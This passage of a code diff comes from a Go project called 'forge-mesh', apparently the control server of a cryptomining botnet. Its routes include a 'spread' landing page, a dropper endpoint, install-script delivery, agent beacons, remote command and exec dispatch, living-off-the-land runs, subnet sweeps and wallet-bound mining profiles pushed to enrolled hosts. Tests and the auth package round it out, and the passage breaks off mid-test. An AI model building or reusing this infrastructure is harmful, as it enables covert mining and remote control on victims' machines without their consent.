defer conn.Close()
|
||||
|
||||
kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl")
|
||||
static := fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("<html></html>")}}
|
||||
|
||||
srv, err := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
ts := httptest.NewServer(srv.Handler())
|
||||
defer ts.Close()
|
||||
|
||||
resp, err := http.Get(ts.URL + "/api/v1/health")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("health: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
resp, err = http.Get(ts.URL + "/install.sh")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("install.sh: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
resp, err = http.Get(ts.URL + "/get")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusFound {
|
||||
t.Fatalf("get redirect: %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProtectedFleetRequiresAuth(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
writeTestConfig(t, cfgPath, dir)
|
||||
|
||||
cfg, _ := config.Load(cfgPath)
|
||||
_ = cfg.EnsureDataDirs()
|
||||
conn, _ := db.Open(cfg.DatabasePath)
|
||||
defer conn.Close()
|
||||
|
||||
kp, _ := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
|
||||
tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl")
|
||||
static := fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("ok")}}
|
||||
|
||||
srv, err := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
ts := httptest.NewServer(srv.Handler())
|
||||
defer ts.Close()
|
||||
|
||||
resp, err := http.Get(ts.URL + "/api/v1/fleet/hosts")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusUnauthorized {
|
||||
t.Fatalf("expected 401, got %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
req, _ := http.NewRequest(http.MethodGet, ts.URL+"/api/v1/fleet/hosts", nil)
|
||||
req.SetBasicAuth("admin", "changeme")
|
||||
resp, err = http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
var body map[string]any
|
||||
_ = json.NewDecoder(resp.Body).Decode(&body)
|
||||
if _, ok := body["hosts"]; !ok {
|
||||
t.Fatalf("expected hosts key in %v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSTicketFlow(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
writeTestConfig(t, cfgPath, dir)
|
||||
|
||||
cfg, _ := config.Load(cfgPath)
|
||||
_ = cfg.EnsureDataDirs()
|
||||
conn, _ := db.Open(cfg.DatabasePath)
|
||||
defer conn.Close()
|
||||
|
||||
kp, _ := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
|
||||
tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl")
|
||||
static := fs.FS(fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("ok")}})
|
||||
|
||||
srv, _ := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex())
|
||||
ts := httptest.NewServer(srv.Handler())
|
||||
defer ts.Close()
|
||||
|
||||
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil)
|
||||
req.SetBasicAuth("admin", "changeme")
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("ticket: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
var out struct {
|
||||
Ticket string `json:"ticket"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" {
|
||||
t.Fatal("expected ticket")
|
||||
}
|
||||
}
|
||||
|
||||
func writeTestConfig(t *testing.T, path, dir string) {
|
||||
t.Helper()
|
||||
content := `{
|
||||
"listen_addr": ":0",
|
||||
"data_dir": "` + dir + `",
|
||||
"database_path": "` + filepath.Join(dir, "test.db") + `",
|
||||
"auth": {
|
||||
"basic_username": "admin",
|
||||
"basic_password": "changeme",
|
||||
"fleet_secret": "test-fleet-secret"
|
||||
},
|
||||
"forge": {
|
||||
"signing_key_path": "` + filepath.Join(dir, "signing.key") + `",
|
||||
"artifacts_dir": "` + filepath.Join(dir, "artifacts") + `"
|
||||
}
|
||||
}`
|
||||
if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
256
internal/api/server.go
Normal file
256
internal/api/server.go
Normal file
@@ -0,0 +1,256 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"io"
|
||||
"io/fs"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/alerts"
|
||||
"forge-mesh/internal/api/handlers"
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/court"
|
||||
"forge-mesh/internal/erasure"
|
||||
"forge-mesh/internal/fleet"
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
// Server is the forge-mesh HTTP control plane.
|
||||
type Server struct {
|
||||
cfg *config.Config
|
||||
mux http.Handler
|
||||
staticFS fs.FS
|
||||
}
|
||||
|
||||
// NewServer wires routes, fleet hub, and static SPA handler.
|
||||
func NewServer(
|
||||
cfg *config.Config,
|
||||
db *sql.DB,
|
||||
staticFS fs.FS,
|
||||
version, installTmplPath, publicKeyHex string,
|
||||
) (*Server, error) {
|
||||
store := fleet.NewStore(db)
|
||||
_ = store.SeedDemoHost()
|
||||
|
||||
tickets := auth.NewTicketStore(5 * time.Minute)
|
||||
hub := fleet.NewHub(store, cfg.Auth.FleetSecret, tickets)
|
||||
crucible := fleet.NewCrucibleStore(100)
|
||||
|
||||
tgCfg := alerts.Config{
|
||||
Enabled: cfg.Telegram.Enabled,
|
||||
BotToken: cfg.Telegram.BotToken,
|
||||
ChatID: cfg.Telegram.ChatID,
|
||||
}
|
||||
notifier := alerts.New(tgCfg)
|
||||
|
||||
public, err := handlers.NewPublicHandlers(db, cfg.Forge.ArtifactsDir, publicKeyHex, installTmplPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
public.FleetSecret = cfg.Auth.FleetSecret
|
||||
public.Version = version
|
||||
|
||||
pipeline, err := forge.NewPipeline(db, cfg.Forge.ArtifactsDir, cfg.Forge.SigningKeyPath,
|
||||
filepath.Join("cmd", "agent"), version)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
clearance := cfg.OperatorClearance
|
||||
fleetH := &handlers.FleetHandler{
|
||||
Store: store, Hub: hub, Alerts: notifier, Cfg: cfg, OperatorClearance: clearance,
|
||||
}
|
||||
crucibleH := &handlers.CrucibleHandler{
|
||||
Store: store, Hub: hub, Crucible: crucible, Alerts: notifier, OperatorClearance: clearance,
|
||||
}
|
||||
policyH := &handlers.PolicyHandler{Cfg: cfg, Store: store}
|
||||
forgeH := &handlers.ForgeHandler{DB: db, Pipeline: pipeline, Version: version}
|
||||
seerH := &handlers.SeerHandler{
|
||||
Store: store,
|
||||
Username: cfg.Auth.BasicUsername,
|
||||
Password: cfg.Auth.BasicPassword,
|
||||
}
|
||||
authH := &handlers.AuthHandlers{Tickets: tickets}
|
||||
opH := &handlers.OperatorHandler{Clearance: clearance}
|
||||
dropperH := &handlers.DropperHandler{
|
||||
DB: db,
|
||||
PublicKeyHex: publicKeyHex,
|
||||
FleetSecret: cfg.Auth.FleetSecret,
|
||||
Version: version,
|
||||
}
|
||||
erasureH := &handlers.ErasureHandler{Service: erasure.NewService(db)}
|
||||
policySnapH := &handlers.PolicySnapshotHandler{DB: db}
|
||||
warRoomH := &handlers.WarRoomHandler{DB: db}
|
||||
wgH := &handlers.WireGuardHandler{DB: db}
|
||||
crucibleLegacy := &handlers.CrucibleLegacy{CrucibleHandler: crucibleH}
|
||||
|
||||
courtSvc := court.New(db, cfg.Court, store)
|
||||
intelDeps := handlers.IntelligenceDeps{
|
||||
Store: store,
|
||||
Subnet: &fleet.SubnetMapper{Store: store},
|
||||
Earn: &fleet.EarnGate{Store: store, Config: fleet.DefaultEarnConfig()},
|
||||
}
|
||||
courtDeps := handlers.CourtDeps{Court: courtSvc, Seer: court.NewSeerHub(db)}
|
||||
|
||||
mux := http.NewServeMux()
|
||||
|
||||
// Public
|
||||
mux.HandleFunc("GET /api/v1/health", handlers.Health(version))
|
||||
mux.HandleFunc("GET /install.sh", public.InstallSh)
|
||||
mux.HandleFunc("GET /get", public.GetRedirect)
|
||||
mux.HandleFunc("GET /spread/", handlers.SpreadLander(db))
|
||||
mux.HandleFunc("GET /spread", handlers.SpreadLander(db))
|
||||
mux.HandleFunc("GET /api/v1/public/builds", handlers.PublicBuildsList(db))
|
||||
mux.HandleFunc("GET /api/v1/public/builds/latest", public.LatestBuild)
|
||||
mux.HandleFunc("GET /api/v1/public/download/{id}", public.Download)
|
||||
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}", erasureH.GetBundle)
|
||||
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", erasureH.GetShard)
|
||||
mux.HandleFunc("GET /api/v1/public/policy-snapshot/{token}", policySnapH.Get)
|
||||
mux.HandleFunc("GET /api/v1/public/campaign/track", handlers.TrackCampaign(db))
|
||||
|
||||
// Agent (fleet secret)
|
||||
mux.Handle("POST /api/v1/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
||||
http.HandlerFunc(hub.HandleBeacon(store))))
|
||||
mux.Handle("POST /api/v1/fleet/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
||||
http.HandlerFunc(hub.HandleBeacon(store))))
|
||||
mux.Handle("POST /api/v1/fleet/register", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
||||
http.HandlerFunc(fleetH.Register)))
|
||||
mux.HandleFunc("GET /api/v1/ws/agent", hub.HandleAgentWS)
|
||||
mux.HandleFunc("GET /api/v1/ws/fleet", func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Query().Get("ticket") != "" {
|
||||
hub.HandleDeckWS(w, r)
|
||||
return
|
||||
}
|
||||
hub.HandleAgentWS(w, r)
|
||||
})
|
||||
|
||||
// Protected (Basic auth)
|
||||
protected := http.NewServeMux()
|
||||
protected.HandleFunc("GET /api/v1/fleet", fleetH.List)
|
||||
protected.HandleFunc("GET /api/v1/fleet/hosts", fleetH.List)
|
||||
protected.HandleFunc("GET /api/v1/fleet/{id}/lotl/timeline", fleetH.LOTLTimeline)
|
||||
protected.HandleFunc("GET /api/v1/fleet/{id}/timeline", handlers.Timeline(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/lotl/run", handlers.RunLOTL(intelDeps))
|
||||
protected.HandleFunc("GET /api/v1/fleet/{id}/spread-gate", handlers.SpreadGate(intelDeps))
|
||||
protected.HandleFunc("GET /api/v1/fleet/subnets", handlers.SubnetList(intelDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/subnets", handlers.SubnetAdd(intelDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/subnets/sweep", handlers.SubnetSweep(intelDeps))
|
||||
protected.HandleFunc("POST /api/v1/court/sessions", handlers.CourtOpen(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/court/sessions/{id}/deliberate", handlers.CourtDeliberate(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/court/sessions/{id}/verdict", handlers.CourtVerdict(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/command", fleetH.Command)
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/action", fleetH.HostAction)
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/mining-profile", fleetH.PushMiningProfile)
|
||||
protected.HandleFunc("GET /api/v1/dropper", dropperH.Info)
|
||||
protected.HandleFunc("GET /api/v1/operator/me", opH.Me)
|
||||
protected.HandleFunc("POST /api/v1/ws/ticket", authH.WSTicket)
|
||||
protected.HandleFunc("GET /api/v1/forge/builds", forgeH.ListBuilds)
|
||||
protected.HandleFunc("POST /api/v1/forge/builds/trigger", forgeH.TriggerBuild)
|
||||
protected.HandleFunc("GET /api/v1/policy/wallet", policyH.GetWallet)
|
||||
protected.HandleFunc("PUT /api/v1/policy/wallet", policyH.PutWallet)
|
||||
protected.HandleFunc("GET /api/v1/policy/mining-profile", policyH.GetMiningProfile)
|
||||
protected.HandleFunc("PUT /api/v1/policy/mining-profile", policyH.PutMiningProfile)
|
||||
protected.HandleFunc("POST /api/v1/policy/snapshot", policySnapH.Create)
|
||||
protected.HandleFunc("GET /api/v1/calibrate/profiles", handlers.CalibrateProfiles(cfg))
|
||||
protected.HandleFunc("POST /api/v1/crucible/batch", crucibleLegacy.Batch)
|
||||
protected.HandleFunc("GET /api/v1/crucible/batch/{id}", crucibleLegacy.BatchGet)
|
||||
protected.HandleFunc("POST /api/v1/crucible/exec", crucibleLegacy.Exec)
|
||||
protected.HandleFunc("POST /api/v1/crucible/dispatch", crucibleH.Dispatch)
|
||||
protected.HandleFunc("GET /api/v1/crucible/jobs/{id}", crucibleH.GetJob)
|
||||
protected.HandleFunc("GET /api/v1/crucible/history", crucibleH.History)
|
||||
protected.HandleFunc("GET /api/v1/seer", handlers.SeerAPIStream(store, cfg.Auth.BasicUsername, cfg.Auth.BasicPassword))
|
||||
protected.HandleFunc("GET /api/v1/war-room/campaigns", warRoomH.ListCampaigns)
|
||||
protected.HandleFunc("GET /api/v1/wireguard/peers", wgH.ListPeers)
|
||||
protected.HandleFunc("POST /api/v1/wireguard/peers", wgH.CreatePeer)
|
||||
protected.HandleFunc("GET /api/v1/wireguard/config", wgH.RenderConfig)
|
||||
protected.HandleFunc("GET /seer", seerH.Stream)
|
||||
|
||||
authWrap := auth.BasicAuthMiddleware(cfg.Auth.BasicUsername, cfg.Auth.BasicPassword)
|
||||
mux.Handle("/api/v1/", authWrap(protected))
|
||||
mux.Handle("/seer", authWrap(http.HandlerFunc(seerH.Stream)))
|
||||
|
||||
// Static SPA (React build embedded in webroot)
|
||||
if staticFS != nil {
|
||||
fileServer := http.FileServer(http.FS(staticFS))
|
||||
mux.Handle("/", spaFallback(staticFS, fileServer))
|
||||
}
|
||||
|
||||
return &Server{cfg: cfg, mux: mux, staticFS: staticFS}, nil
|
||||
}
|
||||
|
||||
func (s *Server) Handler() http.Handler {
|
||||
return s.mux
|
||||
}
|
||||
|
||||
func spaFallback(staticFS fs.FS, next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if strings.HasPrefix(r.URL.Path, "/api/") || r.URL.Path == "/install.sh" || r.URL.Path == "/get" || strings.HasPrefix(r.URL.Path, "/spread") {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
path := strings.TrimPrefix(r.URL.Path, "/")
|
||||
if path == "" {
|
||||
path = "index.html"
|
||||
}
|
||||
|
||||
if _, err := fs.Stat(staticFS, path); err != nil {
|
||||
// Client-side route — serve index.html
|
||||
if data, err := fs.ReadFile(staticFS, "index.html"); err == nil {
|
||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
w.Write(data)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
// SyncWebroot copies web/dist into cmd/server/webroot for go:embed.
|
||||
func SyncWebroot(distDir, webrootDir string) error {
|
||||
if err := os.RemoveAll(webrootDir); err != nil {
|
||||
return err
|
||||
}
|
||||
return copyDir(distDir, webrootDir)
|
||||
}
|
||||
|
||||
func copyDir(src, dst string) error {
|
||||
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel, err := filepath.Rel(src, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
target := filepath.Join(dst, rel)
|
||||
if info.IsDir() {
|
||||
return os.MkdirAll(target, 0o755)
|
||||
}
|
||||
return copyFile(path, target)
|
||||
})
|
||||
}
|
||||
|
||||
func copyFile(src, dst string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
16
internal/api/types/build.go
Normal file
16
internal/api/types/build.go
Normal file
@@ -0,0 +1,16 @@
|
||||
package types
|
||||
|
||||
import "time"
|
||||
|
||||
// Build represents a forge-produced agent artifact.
|
||||
type Build struct {
|
||||
ID string `json:"id"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Version string `json:"version"`
|
||||
Checksum string `json:"checksum"`
|
||||
Signature string `json:"signature,omitempty"`
|
||||
Public bool `json:"public"`
|
||||
Path string `json:"path,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
13
internal/api/types/campaign.go
Normal file
13
internal/api/types/campaign.go
Normal file
@@ -0,0 +1,13 @@
|
||||
package types
|
||||
|
||||
import "time"
|
||||
|
||||
// Campaign tracks Emberwake funnel tags (?c=).
|
||||
type Campaign struct {
|
||||
ID string `json:"id"`
|
||||
Code string `json:"code"`
|
||||
Name string `json:"name"`
|
||||
Pin string `json:"pin,omitempty"`
|
||||
Heat int `json:"heat"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
22
internal/api/types/host.go
Normal file
22
internal/api/types/host.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package types
|
||||
|
||||
import "time"
|
||||
|
||||
// Host represents an enrolled fleet member.
|
||||
type Host struct {
|
||||
ID string `json:"id"`
|
||||
Hostname string `json:"hostname"`
|
||||
Fingerprint string `json:"fingerprint,omitempty"`
|
||||
Phenotype string `json:"phenotype,omitempty"`
|
||||
Status string `json:"status"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
HashrateHps float64 `json:"hashrate_hps"`
|
||||
CurrentTier int `json:"current_tier"`
|
||||
TierType string `json:"tier_type,omitempty"`
|
||||
TierState string `json:"tier_state,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level"`
|
||||
MiningProfileID *string `json:"mining_profile_id,omitempty"`
|
||||
LastSeenAt *time.Time `json:"last_seen_at,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
63
internal/api/types/message.go
Normal file
63
internal/api/types/message.go
Normal file
@@ -0,0 +1,63 @@
|
||||
package types
|
||||
|
||||
import "time"
|
||||
|
||||
// HeartbeatPayload is sent by agents over WS or beacon.
|
||||
type HeartbeatPayload struct {
|
||||
HostID string `json:"host_id,omitempty"`
|
||||
Hostname string `json:"hostname"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
HashrateHps float64 `json:"hashrate_hps"`
|
||||
CurrentTier int `json:"current_tier"`
|
||||
TierType string `json:"tier_type,omitempty"`
|
||||
TierState string `json:"tier_state,omitempty"`
|
||||
Fingerprint string `json:"fingerprint,omitempty"`
|
||||
}
|
||||
|
||||
// SetHashrateFields keeps hashrate and hashrate_hps in sync for older clients.
|
||||
func (h *HeartbeatPayload) SetHashrateFields(hps float64) {
|
||||
h.HashrateHps = hps
|
||||
h.Hashrate = hps
|
||||
}
|
||||
|
||||
// EffectiveHashrate returns hashrate_hps when set, otherwise legacy hashrate.
|
||||
func (h HeartbeatPayload) EffectiveHashrate() float64 {
|
||||
if h.HashrateHps > 0 {
|
||||
return h.HashrateHps
|
||||
}
|
||||
return h.Hashrate
|
||||
}
|
||||
|
||||
// BeaconResponse is returned by HTTPS beacon fallback.
|
||||
type BeaconResponse struct {
|
||||
Commands []FleetCommand `json:"commands"`
|
||||
OK bool `json:"ok"`
|
||||
Profile *MiningProfile `json:"mining_profile,omitempty"`
|
||||
}
|
||||
|
||||
// WsMessage is the wire format for fleet WebSocket frames.
|
||||
type WsMessage struct {
|
||||
Type string `json:"type"`
|
||||
Host *Host `json:"host,omitempty"`
|
||||
HostID string `json:"host_id,omitempty"`
|
||||
Command *FleetCommand `json:"command,omitempty"`
|
||||
Payload map[string]any `json:"payload,omitempty"`
|
||||
Timestamp string `json:"timestamp,omitempty"`
|
||||
}
|
||||
|
||||
// FleetCommand is dispatched from deck to agent.
|
||||
type FleetCommand struct {
|
||||
ID string `json:"id"`
|
||||
Action string `json:"action"`
|
||||
Args map[string]any `json:"args,omitempty"`
|
||||
IssuedAt time.Time `json:"issued_at"`
|
||||
}
|
||||
|
||||
// MiningProfileRequest assigns or updates a host mining profile.
|
||||
type MiningProfileRequest struct {
|
||||
ProfileID string `json:"profile_id,omitempty"`
|
||||
Name string `json:"name,omitempty"`
|
||||
WalletAddress string `json:"wallet_address"`
|
||||
Tiers []MiningTierSpec `json:"tiers,omitempty"`
|
||||
}
|
||||
21
internal/api/types/mining_profile.go
Normal file
21
internal/api/types/mining_profile.go
Normal file
@@ -0,0 +1,21 @@
|
||||
package types
|
||||
|
||||
import "time"
|
||||
|
||||
// MiningTierSpec defines one step in a tiered miner chain.
|
||||
type MiningTierSpec struct {
|
||||
Type string `json:"type"`
|
||||
Duration int `json:"duration_minutes,omitempty"`
|
||||
Config map[string]string `json:"config,omitempty"`
|
||||
}
|
||||
|
||||
// MiningProfile is an ordered list of mining tiers pushed to agents.
|
||||
type MiningProfile struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
WalletAddress string `json:"wallet_address"`
|
||||
Tiers []MiningTierSpec `json:"tiers"`
|
||||
PolicyFromServer bool `json:"policy_from_server"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
131
internal/auth/auth.go
Normal file
131
internal/auth/auth.go
Normal file
@@ -0,0 +1,131 @@
|
||||
package auth
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Credentials for HTTP Basic and fleet bearer auth.
|
||||
type Credentials struct {
|
||||
BasicUsername string
|
||||
BasicPassword string
|
||||
FleetSecret string
|
||||
}
|
||||
|
||||
// TicketStore issues short-lived WebSocket tickets after Basic login.
|
||||
type TicketStore struct {
|
||||
mu sync.Mutex
|
||||
tickets map[string]time.Time
|
||||
ttl time.Duration
|
||||
}
|
||||
|
||||
// NewTicketStore creates a ticket store with the default TTL.
|
||||
func NewTicketStore(ttl ...time.Duration) *TicketStore {
|
||||
d := 5 * time.Minute
|
||||
if len(ttl) > 0 && ttl[0] > 0 {
|
||||
d = ttl[0]
|
||||
}
|
||||
return &TicketStore{
|
||||
tickets: make(map[string]time.Time),
|
||||
ttl: d,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *TicketStore) Issue() (string, error) {
|
||||
b := make([]byte, 24)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
return "", err
|
||||
}
|
||||
ticket := base64.RawURLEncoding.EncodeToString(b)
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.tickets[ticket] = time.Now().Add(s.ttl)
|
||||
s.gcLocked()
|
||||
return ticket, nil
|
||||
}
|
||||
|
||||
func (s *TicketStore) Validate(ticket string) bool {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
exp, ok := s.tickets[ticket]
|
||||
if !ok || time.Now().After(exp) {
|
||||
delete(s.tickets, ticket)
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// Consume validates and removes a one-time ticket.
|
||||
func (s *TicketStore) Consume(ticket string) bool {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
exp, ok := s.tickets[ticket]
|
||||
if !ok || time.Now().After(exp) {
|
||||
delete(s.tickets, ticket)
|
||||
return false
|
||||
}
|
||||
delete(s.tickets, ticket)
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *TicketStore) gcLocked() {
|
||||
now := time.Now()
|
||||
for k, exp := range s.tickets {
|
||||
if now.After(exp) {
|
||||
delete(s.tickets, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ExtractBearer returns the token from an Authorization Bearer header.
|
||||
func ExtractBearer(r *http.Request) string {
|
||||
auth := r.Header.Get("Authorization")
|
||||
if !strings.HasPrefix(auth, "Bearer ") {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimPrefix(auth, "Bearer ")
|
||||
}
|
||||
|
||||
// BasicAuthMiddleware protects routes with HTTP Basic credentials.
|
||||
func BasicAuthMiddleware(username, password string) func(http.Handler) http.Handler {
|
||||
return func(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
user, pass, ok := r.BasicAuth()
|
||||
if !ok || user != username || pass != password {
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="forge-mesh"`)
|
||||
http.Error(w, "unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// BasicAuthMiddlewareCreds is the struct-based variant for router wiring.
|
||||
func BasicAuthMiddlewareCreds(creds Credentials) func(http.Handler) http.Handler {
|
||||
return BasicAuthMiddleware(creds.BasicUsername, creds.BasicPassword)
|
||||
}
|
||||
|
||||
// FleetSecretMiddleware validates agent bearer tokens.
|
||||
func FleetSecretMiddleware(secret string, next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
token := ExtractBearer(r)
|
||||
if token == "" || token != secret {
|
||||
http.Error(w, "unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
// JSON writes a JSON response.
|
||||
func JSON(w http.ResponseWriter, status int, v any) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(status)
|
||||
_ = json.NewEncoder(w).Encode(v)
|
||||
}
|
||||
82
internal/auth/auth_test.go
Normal file
82
internal/auth/auth_test.go
Normal file
@@ -0,0 +1,82 @@
|
||||
package auth
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestTicketStoreIssueValidate(t *testing.T) {
|
||||
store := NewTicketStore(0)
|
||||
ticket, err := store.Issue()
|
||||
if err != nil || ticket == "" {
|
||||
t.Fatal("expected valid ticket")
|
||||
}
|
||||
if !store.Validate(ticket) {
|
||||
t.Fatal("expected valid ticket")
|
||||
}
|
||||
if store.Validate("invalid") {
|
||||
t.Fatal("expected invalid ticket to fail")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTicketStoreConsume(t *testing.T) {
|
||||
store := NewTicketStore(0)
|
||||
ticket, err := store.Issue()
|
||||
if err != nil || !store.Consume(ticket) {
|
||||
t.Fatal("expected consume to succeed")
|
||||
}
|
||||
if store.Validate(ticket) {
|
||||
t.Fatal("consumed ticket should be invalid")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBasicAuthMiddleware(t *testing.T) {
|
||||
handler := BasicAuthMiddleware("admin", "secret")(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
handler.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("expected 401, got %d", rec.Code)
|
||||
}
|
||||
|
||||
req = httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
req.SetBasicAuth("admin", "secret")
|
||||
rec = httptest.NewRecorder()
|
||||
handler.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetSecretMiddleware(t *testing.T) {
|
||||
handler := FleetSecretMiddleware("fleet-secret", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
